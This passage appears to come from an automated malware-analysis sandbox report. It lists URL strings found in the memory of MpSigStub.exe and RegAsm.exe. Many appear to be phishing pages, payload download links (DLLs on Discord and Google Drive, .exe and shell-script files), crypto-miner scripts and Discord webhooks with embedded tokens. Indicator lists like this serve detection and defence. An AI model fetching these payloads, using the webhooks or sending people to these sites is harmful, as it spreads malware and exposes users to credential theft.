        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: https://bit.ly/2g8qrgl
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://bit.ly/2pfj2w
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: https://bit.ly/2snjwv1)
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: https://bit.ly/2srxmuq)
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: https://bit.ly/2zbes5a
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: https://bit.ly/3kthd4j
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://bit.ly/3kvdcmi
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://bitbucket.org/kimrakfl33/git/raw/master/kinsingchmod
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: https://bitly.com/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://bizimi.com/aa-manage/post/ftp/themes/nazl/phpnet.php?code=2000700
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://bjhvgft67rf.gb.net/vfeg877g7/?cvwrg3g=vv3g3v4f
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://bk.kv-dv8.club/?e=bbeckler
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://blackberryizm.com/frontend/assets/images/favico/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://blackberryizm.com/frontend/assets/images/favico/reportmaersk.php
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://bm.jb-voice.online/?e=accounting
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://bonshyonloire.ml/exploit/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://boyscoutsram.com/c2hhd2v6x2jhbnvyaubiyxquy29t
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://btchs.com.br/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://builderdoc.org/life/direct.php)
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://buildingsandpools.com/wp-content/iy6ux613260
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: https://burnleyd.cf/brand.php
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: https://businessonline.o2.co.uk/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: https://butikzai.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: https://bydinvestments.com/cache/rainer/258720/rainer&#46;bauer
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://c-0li.club/?e=JPohlman
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://c.top4top.io/p_1832dqk101.jpg
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: https://cablenet.com.ec/drms/bb.html
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://caixadirecta.cgd.pt
        Source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmpString found in binary or memory: https://calfeutragebprs%.com/wp%-content/image/s3%.php
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: https://camillesanz.com/lib/status.js
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://canary.discord.com/api/webhooks/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://carmelavalles.com/site/wp-admin/
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: https://carpascapital.com/gbpg8mtsgbv/ka.html
        Source: MpSigStub.exe, 00000023.00000003.18344996372.0000015B1B0B0000.00000004.00000001.sdmpString found in binary or memory: https://casciscus.com/wp-admin/v4/
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://casciscus.com/wp-admin/v4/pocket.php
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://cazala.github.io/coin-hive-proxy/client.js?
        Source: MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpString found in binary or memory: https://cdn-105.anonfiles.com/
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/
        Source: MpSigStub.exe, 00000023.00000003.18344332390.0000015B1C1B7000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/844726578415665236/846209246264688650/
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/859130004898447360/869326380259758080/VodoKanalForms.dll
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/859130004898447360/871143663751823370/Anasayfa.dll
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/876742387932745741/876743456536559656/steammaa.dll
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/877973640937897984/878021367742734376/wdqdwq.dll
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/attachments/877973640937897984/878021367742734376/wdqdwq.dllx
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: https://cdn.discordapp.com/avatars/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://cdn342.org/.well-known/files/limited/upgrade/index.php?email=patent-license
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://cdn4.buysellads.net/pub/tempmail.js?
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://cdshgvjs.ygto.com/leo/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://ceibosnorte.com/images/clients/01/
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://chiddingstonenursery.co.uk/loign.php?user=
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://chinatyres.net/IuNbOpen/oiUnbYATR.php
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: https://chogoon.com/srt/d7q0j
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: https://chpingnow.xyz/21.psd
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: https://chrome.google.com/webstore
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://clashwoman.info/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://cld.pt/dl/download/30e57a1d-338a-4c1b-9ad9-db0220f77ef0/bruto.jpg
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://clicks.life/care/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: https://cmail.daum.net/v2/
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://cnaaa11sd.gb.net/efcdsvftgxc/?gdes3sc=6sdfr45
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: https://co3.live
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://coffreo.biz/xmlrpc.php
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://coki.me/a5oly
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://coki.me/az2yl
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://coki.me/epnq7
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://coki.me/xmwds
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://colintx-owaupdate.c9users.io/nmadbmt/365.html
        Source: MpSigStub.exe, 00000023.00000003.18286860697.0000015B081A5000.00000004.00000001.sdmpString found in binary or memory: https://configdl.teamviewer.com/configs
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://connect.statetechlink.xyz/?e=
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://connectoutlook.email/main.php
        Source: MpSigStub.exe, 00000023.00000003.18299991338.0000015B1C3DD000.00000004.00000001.sdmpString found in binary or memory: https://content.dropboxapi.com/2/files/upload
        Source: MpSigStub.exe, 00000023.00000003.18299991338.0000015B1C3DD000.00000004.00000001.sdmpString found in binary or memory: https://content.dropboxapi.com/2/files/uploadxA
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: https://contirecovery.best
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://contirecovery.info
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: https://corazonarquitectura.com/94reej6f3mr/lipa.html
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://courieroffice.net/wp-admin/whatsapp1.php
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: https://courieroffice.net/wp-content/post2.php
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://covid-19.freeworldimports.com/vendor/phpunit/phpunit/src/util/php/v/excelz/index.php
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpString found in binary or memory: https://crashpad.chromium.org/
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpString found in binary or memory: https://crashpad.chromium.org/x
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://creative-island.e-m2.net/wp-content/themes/creative_island/js/vc-composer/RUpDObeysEFp8.php
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://creativechigz.co.zw/themes/newexceltoosab.php
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode.txt
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://crl.anf.es/AC/ANFServerCA.crl0
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://crowandmonk.com/90pparcels.co.uk/wp-admin/maint/redirect/?jmoore
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: https://crypto-loot.com/lib/miner.min.js
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://cryptopro.ga/File/apo.exe
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://cryptotreasurytrust.com/vnV
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://cut.ly/a2wiit8
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://cut.ly/nctboib
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://cutt.ly/tbcyxag
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: https://cutt.ly/zhqz1t6
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/PROTOCOL.certkeys?rev=HEAD
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://d.lqw.me/xuiow/
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: https://d.symcb.com/cps0%
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: https://d.symcb.com/rpa0)
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://d2vb4fe3wqkxl3.cloudfront.net/opt.rtf
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: https://dahamarli.xyz
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://dancevida.com/css/app.css
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://darmatic.co.rs/ds/1502.gif
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://dashboard.imadeit.com.ng/ds/151120.gif
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://dasinvestment.us/ty/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://dawnamae.000webhostapp.com/exel.phpmethod=
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://de.gsearch.com.de/api/update.sh
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: https://debatestage.com/wp-admin/css/colors/blue/reportmaersk.php
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://defineliving.in/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://demottechamber.org/html
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://des4556yuhgfrt.gb.net/fde45tfttyt/?veg54g5=br4hg4v
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://dev-thegentlemans.teoria.agency/owa/next.php
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://dev.null.vg/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://dev1.whoatemyI
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpString found in binary or memory: https://devcellsegovapiwebapp.azurewebsites.net/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: https://dhl24.com.uk/
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: https://diarnondfireplace.com/dobo/xxx.php?user=
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://dichthuatsnu.com/goodweb/pwofiles.php
        Source: MpSigStub.exe, 00000023.00000003.18344996372.0000015B1B0B0000.00000004.00000001.sdmpString found in binary or memory: https://diplomaticroll.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://diproelec.com.sv/moollll/excelzz
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: https://discord.com/api/webhooks/
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://discord.com/api/webhooks/770716126988599316/o7GXYebuPQzx7RQFUD4cTOPMq2gGicypOMyNpFVQsIb9qyVW
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: https://discord.com/api/webhooks/850115118066040833/lcFHGcD2eUjv1zEJO_Ped6EAVU7W44L8X3chfyx9YoIb7YBS
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: https://discord.com/api/webhooks/x
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://discordapp.com/api/webhooks/757994001767989269/f3KGimlvr5nZDHyIVt3GF4iEkqvy-je8zsM6MPhPc54x0
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: https://divelpid.my/wp-content/themes/monolit/woocommerce/global/aaie6jbhso9.php
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: https://divineleverage.org/de.php
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: https://djdkduep62kz4nzx.onion.to/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://dl.dropboxusercontent.com/s/e7q3947id2jl6ux/factura6.zip?dl=0
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://dl.dropboxusercontent.com/s/m6q5dhmjpfxes94/ps2.txt
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://dl.dropboxusercontent.com/u/611200196/scan637.pdf.htm
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: https://dlya-detey.site/emz/reportdhlnew2.php
        Source: RegAsm.exe, 00000008.00000003.17610474541.00000000015BF000.00000004.00000001.sdmpString found in binary or memory: https://doc-0c-28-docs.g
        Source: RegAsm.exe, 00000008.00000003.17610474541.00000000015BF000.00000004.00000001.sdmpString found in binary or memory: https://doc-0c-28-docs.googleusercontent.com/
        Source: RegAsm.exe, 00000008.00000002.21888967761.000000000158C000.00000004.00000020.sdmpString found in binary or memory: https://doc-0c-28-docs.googleusercontent.com/Gp
        Source: RegAsm.exe, 00000008.00000003.17610474541.00000000015BF000.00000004.00000001.sdmpString found in binary or memory: https://doc-0c-28-docs.googleusercontent.com/M
        Source: RegAsm.exe, 00000008.00000003.17610474541.00000000015BF000.00000004.00000001.sdmpString found in binary or memory: https://doc-0c-28-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/g7dge6jv
        Source: RegAsm.exe, 00000008.00000003.17610474541.00000000015BF000.00000004.00000001.sdmpString found in binary or memory: https://doc-0c-28-docs.googleusercontent.com/tography
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://docs-eight-sable.vercel.app/
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://docs.google.com/document/d/e/2pacx-1vtrc0l1v7hke7ebcnmumoqomoajhb5togg63zkisb68sj3z7lcmv9ndk
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://docs.google.com/feeds/default/private/full?v=3
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://docs.google.com/uc
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: https://docs.google.com/uc?id=1hajtdasfuta6vew8d5gjkd_bhnd3pwmc
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://docs.healthmade.org//tc.js
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://donmilps.com/fex/?email=
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://drive.google.com/
        Source: RegAsm.exe, 00000008.00000002.21890837219.0000000001710000.00000004.00000001.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1hKAWruhccvaKl722JOqs1briWjn1s8ks
        Source: RegAsm.exe, 00000008.00000002.21888487316.000000000154A000.00000004.00000020.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1hKAWruhccvaKl722JOqs1briWjn1s8ks2
        Source: RegAsm.exe, 00000008.00000002.21890837219.0000000001710000.00000004.00000001.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1hKAWruhccvaKl722JOqs1briWjn1s8kswininet.dllMozilla/5
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: https://drive.google.com/uc?id=1fxj2_ITnq1Yb6QbXw3HncRuwFAB8wN47&export=download
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: https://drp.su/
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: https://dumpitnow2138.com/
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: https://dumpster-server.herokuapp.com/manager/query
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://dvsolutionsar.com/code/post.php
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: https://dynafivecon.com/ds/26.gif
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: https://e3g564rtdfg.s3-eu-west-1.amazonaws.com/image2.png
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://ecombox.store/tbl_add.php
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: https://ecosym.cl/firmas/wp-error.php
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://eeyhh567.s3.eu-west-3.amazonaws.com/image2.png
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: https://efishedo.info/?tag_id
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://eletrocoghi.com.br/drms/fert.html
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://elisegiordano.com/bwvsc2f5zwrac2hhcmtlewfzdwdhci5jb20=
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: https://emvoips.eononass.xyz/?e=%25
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://en.czonediver.com/ds/0502.gif
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: https://erpoweredent.at/3/zte.dll
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://esp.adnan.dev.hostingshouse.com/ds/151120.gif
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://esscorp.org/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://evolvingdesk.nl/GoogleAPI/vendor/symfony/polyfill-intl-normalizer/Resources/JsWPVLZw9qr9GFE.
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://excavationtrick.com/dir/
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://exploshot.com/24.gif
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://expressen.se/docprod/templates/bot_tjansteskrivelse.docx
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: https://extranet.carlsonwagonlit.com/gdsscripts/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://extraosseous.com/zik/
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: https://f.coka.la/6wzxbj.sct
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://faithpays.sowetoinnovations.co.za/khro/php/continue1.php
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://faog.org.hk/scanner/overwatch.php
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://faxzmessageservice.club
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://fazadminmessae.info
